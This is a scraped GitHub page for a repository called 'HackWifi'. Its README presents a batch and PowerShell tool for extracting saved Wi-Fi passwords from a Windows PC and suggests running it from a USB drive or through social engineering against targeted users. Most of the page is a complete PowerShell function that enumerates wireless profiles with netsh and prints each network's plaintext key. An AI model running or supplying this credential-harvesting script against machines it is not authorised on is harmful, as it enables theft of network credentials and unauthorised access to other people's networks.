Skip to content

The program is developed in batch and PowerShell, with the purpose of extracting passwords and network information stored on a PC, either manually or automatically. It focuses exclusively on retrieving the saved passwords from the computer. You can save the program on a USB drive and execute it directly from there or employ various social engineeri

License

Notifications You must be signed in to change notification settings

Pericena/HackWifi

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

16 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Wi-Fi

The program is developed using Batch and PowerShell, designed to extract passwords and network information stored on a computer, either manually or automatically. It specifically targets passwords saved on the system. The program can be stored on a USB drive and executed directly from it, or social engineering techniques can be employed to retrieve the credentials from targeted users...

1. Download the program  
2. Run the program  
3. Select Option 1: Retrieve wireless network information  
4. Select Option 2: Extract Wi-Fi passwords manually  
5. Select Option 3: Extract Wi-Fi passwords automatically  
6. Follow the prompts until the process is complete  

Código Powershell

Function Get-WLAN_Profiles {
	param (
		[ValidateSet('es-ES','en-EN')]
		$LANGUAGE = $Host.CurrentUICulture.Name
	)
	$LANGUAGES = @{
		'es-ES' = New-Object psobject -Property @{
			'user_profiles_text' 	 = 'Perfil de todos los usuarios'
			'profile_not_found_text' = 'No se encuentra el perfil'
			'ssid_name_text' 		 = 'Nombre de SSID'
			'network_type_text' 	 = 'Tipo de red'
			'authentication_text'	 = 'Autenticación'
			'encryption_text'	 	 = 'Cifrado'
			'key_text' 				 = 'Contenido de la clave'
		}
		'en-EN' = New-Object psobject -Property @{
			'user_profiles_text' 	 = 'All User Profile'
			'profile_not_found_text' = 'Profile not found'
			'ssid_name_text' 		 = 'SSID name'
			'network_type_text' 	 = 'Network Type'
			'authentication_text'	 = 'Authentication'
			'encryption_text'	 	 = 'Cipher'
			'key_text' 				 = 'Key Content'
		}
	}
	$LANG = $LANGUAGES."$LANGUAGE"

	function getValueByName ( $inputText, $nameString ) {
		$value = "";
		if ([regex]::IsMatch($inputText,"\b$nameString\b","IgnoreCase")) {
			$value = ([regex]::Replace($inputText,"^[^:]*: ","")); 
		}
		return $value.Trim();
	}

	$Profiles = @()
	netsh wlan show profiles | % {
		$profile = getValueByName $_ $LANG.'user_profiles_text';
		if ($profile) {
			$Profiles += $profile
		}
	}

	$WLAN_Profiles = @()
	$rowNumber = -1;
	$Profiles | % {
		$wlan_Profile = netsh wlan show profile $_ key=clear
		if ($wlan_Profile.Contains($LANG.'profile_not_found_text')){
			return
		}
		$InterfaceName = $null
		$wlan_Profile | % {
			if (!($InterfaceName)) {
				$InterfaceName = getValueByName $_ $LANG.'ssid_name_text'
				$InterfaceName = $InterfaceName.Trim('"')
							
				if ($InterfaceName) {
					$row = New-Object PSObject -Property @{
						InterfaceName = $InterfaceName
						SSID = $InterfaceName
						NetworkType=""
						Authentication=""
						Encryption=""
						Key=""
					}
					$rowNumber+=1
					$WLAN_Profiles += $row
					#$WLAN_Profiles | ft
					return
				}
			}
			if (!($WLAN_Profiles[$rowNumber].NetworkType)) {
				$NetworkType = getValueByName $_ $LANG.'network_type_text';
				if ($NetworkType) {
					  $WLAN_Profiles[$rowNumber].NetworkType = $NetworkType
				}
			}
			
			if (!($WLAN_Profiles[$rowNumber].Authentication)) {
				$Authentication = getValueByName $_ $LANG.'authentication_text';
				if ($Authentication) {
					  $WLAN_Profiles[$rowNumber].Authentication = $Authentication
				}
			}
			
			if (!($WLAN_Profiles[$rowNumber].Encryption)) {
				$Encryption = getValueByName $_ $LANG.'encryption_text';
				if ($Encryption) {
					  $WLAN_Profiles[$rowNumber].Encryption = $Encryption
				}
			}
			
			if (!($WLAN_Profiles[$rowNumber].Key)) {
				$Key = getValueByName $_ $LANG.'key_text';
				if ($Key) {
					  $WLAN_Profiles[$rowNumber].Key = $Key
				}
			}
		}
	}

	if ($WLAN_Profiles.Count -gt 0) {
		'Total WLAN_Profiles: ' + $WLAN_Profiles.Count
		<#return#> $WLAN_Profiles | Select-Object 		   SSID,
											 Authentication,
														Key,
												 Encryption,
												NetworkType
	} else {
		'No WLAN Profiles found!'
	}
}

Expressions of gratitude

  • Well, I hope it is useful to you. If you have any questions, you can contact me at my social networks:
  • Thank you

Por Pericena Donación paypal https://www.paypal.com/paypalme/lpericena

About

The program is developed in batch and PowerShell, with the purpose of extracting passwords and network information stored on a PC, either manually or automatically. It focuses exclusively on retrieving the saved passwords from the computer. You can save the program on a USB drive and execute it directly from there or employ various social engineeri

Topics

Resources

License

Stars

Watchers

Forks

Packages

No packages published